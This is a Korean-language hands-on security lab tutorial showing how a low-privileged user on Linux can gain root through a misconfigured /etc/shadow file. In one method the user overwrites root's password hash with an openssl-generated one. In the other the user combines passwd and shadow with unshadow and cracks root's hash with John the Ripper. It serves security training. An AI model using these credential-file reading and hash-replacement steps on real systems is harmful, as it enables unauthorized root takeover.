소개
리눅스 시스템은 사용자 인증 및 접근 제어를 위해 /etc/passwd 및 /etc/shadow 파일을 사용합니다. 시스템 관리자가 이러한 파일의 권한 또는 내용을 잘못 구성하면 권한 상승 공격의 기회를 만들 수 있습니다. 이 랩에서는 /etc/shadow 파일을 활용하여 리눅스 시스템에서 root 권한을 얻는 방법을 배우게 됩니다. 이 시나리오는 이미 일반 사용자로 초기 낮은 권한의 셸 접근 권한을 얻었다고 가정합니다.
리눅스 시스템은 사용자 인증 및 접근 제어를 위해 /etc/passwd 및 /etc/shadow 파일을 사용합니다. 시스템 관리자가 이러한 파일의 권한 또는 내용을 잘못 구성하면 권한 상승 공격의 기회를 만들 수 있습니다. 이 랩에서는 /etc/shadow 파일을 활용하여 리눅스 시스템에서 root 권한을 얻는 방법을 배우게 됩니다. 이 시나리오는 이미 일반 사용자로 초기 낮은 권한의 셸 접근 권한을 얻었다고 가정합니다.
이 단계에서는 /etc/shadow 파일의 구조와 목적에 대해 배우게 됩니다.
/etc/shadow 파일은 각 사용자 계정에 대한 암호화된 암호와 암호 관련 구성 정보를 저장합니다. 파일의 각 줄은 하나의 사용자를 나타내며, 9 개의 콜론으로 구분된 필드를 포함합니다.
터미널을 열고 /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
/etc/shadow 파일에서 labex 사용자의 항목을 확인해 보겠습니다.
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
/etc/shadow 파일을 읽기 위해 sudo를 사용했습니다. 이는 해당 파일이 root 사용자만 읽을 수 있기 때문입니다.
labex_shadow.txt 파일의 내용을 확인합니다.
cat labex_shadow.txt
예시 출력:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
이 줄은 다음을 나타냅니다.
labex$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8기본적으로 root 사용자만 /etc/shadow 파일을 읽고 수정할 수 있습니다. 그러나, misconfigured된 권한은 때때로 권한 상승의 기회를 제공할 수 있습니다.
이 단계에서는 /etc/shadow 파일에 대한 쓰기 권한이 있는 경우, 해당 파일에서 root 암호를 수정하여 권한을 상승시키는 방법을 배우게 됩니다.
먼저, 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
디렉토리에서 env_setup_1.sh라는 스크립트를 찾을 수 있습니다. 이 스크립트를 실행하여 환경을 설정합니다.
./env_setup_1.sh
이것은 환경을 설정하고 user001 사용자로 전환하여 초기 낮은 권한의 셸 접근을 시뮬레이션합니다.
user001 홈 디렉토리로 이동합니다.
cd ~
다음으로, /etc/shadow 파일의 권한을 확인합니다.
ls -alh /etc/shadow
예시 출력:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow
misconfiguration으로 인해 user001 사용자가 /etc/shadow 파일에 대한 쓰기 권한을 가지고 있음을 확인할 수 있습니다.
이제 /etc/shadow 파일을 편집하고 root 사용자의 암호 해시를 새 해시로 바꿀 수 있습니다.
먼저, 현재 root 암호 해시를 확인합니다.
cat /etc/shadow | grep root
예시 출력:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
새 암호 (예: pass123) 를 설정하려면 openssl 유틸리티를 사용하여 새 암호 해시를 생성합니다.
openssl passwd -1 -salt ignite pass123
예시 출력:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
텍스트 편집기에서 /etc/shadow 파일을 열고 root 사용자의 암호 해시를 새 해시로 바꿉니다.
nano /etc/shadow
root 사용자의 암호 해시를 찾습니다.
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::
암호 해시를 새 해시로 바꿉니다.
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::
변경 사항을 저장하고 편집기를 종료합니다.
마지막으로, su root 명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 새 암호 pass123을 입력합니다.
su root
이제 시스템에서 root 권한을 갖게 됩니다.
이 단계에서는 /etc/shadow 파일에 대한 읽기 권한만 있는 경우, root 암호 해시를 크래킹하여 권한을 상승시키는 방법을 배우게 됩니다.
이전 단계를 완료한 후, root 사용자로 유지되어야 합니다. labex 사용자에 도달할 때까지 새 터미널을 열거나 exit 명령을 사용하여 현재 사용자를 로그아웃할 수 있습니다.
labex 사용자인 경우, /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
env_setup_2.sh 스크립트를 실행하여 환경을 설정합니다.
./env_setup_2.sh
이것은 user001 사용자가 /etc/shadow 파일에 대한 읽기 권한을 갖는 새로운 환경을 설정합니다.
user001 홈 디렉토리로 이동합니다.
cd ~
/etc/shadow 파일의 권한을 확인합니다.
ls -alh /etc/shadow
예시 출력:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow
misconfiguration으로 인해 user001 사용자가 /etc/shadow 파일에 대한 읽기 권한을 가지고 있음을 확인할 수 있습니다.
다음으로, john 도구를 사용하여 root 사용자의 암호 해시를 크래킹할 수 있습니다. john을 사용하기 전에, unshadow 명령을 사용하여 /etc/passwd 및 /etc/shadow 파일의 내용을 결합해야 합니다.
unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
이제 shadow_crack.txt 파일에서 john을 실행하여 root 사용자의 암호 해시를 크래킹하고 크래킹된 암호를 파일에 저장합니다.
john --users=root shadow_crack.txt > cracked_passwords.txt
크래킹된 암호를 보려면 cracked_passwords.txt 파일의 내용을 확인합니다.
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
study (root)
마지막으로, su root 명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 크래킹된 암호 study를 입력합니다.
su root
이제 시스템에서 root 권한을 갖게 됩니다.
이 Lab 에서는 /etc/shadow 파일의 구조와 목적, 그리고 이 파일을 활용하여 권한을 상승시키는 두 가지 방법 (쓰기 권한으로 root 암호 해시 수정 또는 읽기 권한으로 root 암호 해시 크래킹) 에 대해 배웠습니다. 이러한 기술은 Linux 환경에서 파일 권한을 적절하게 구성하고 민감한 시스템 파일을 안전하게 보호하는 것의 중요성을 보여줍니다.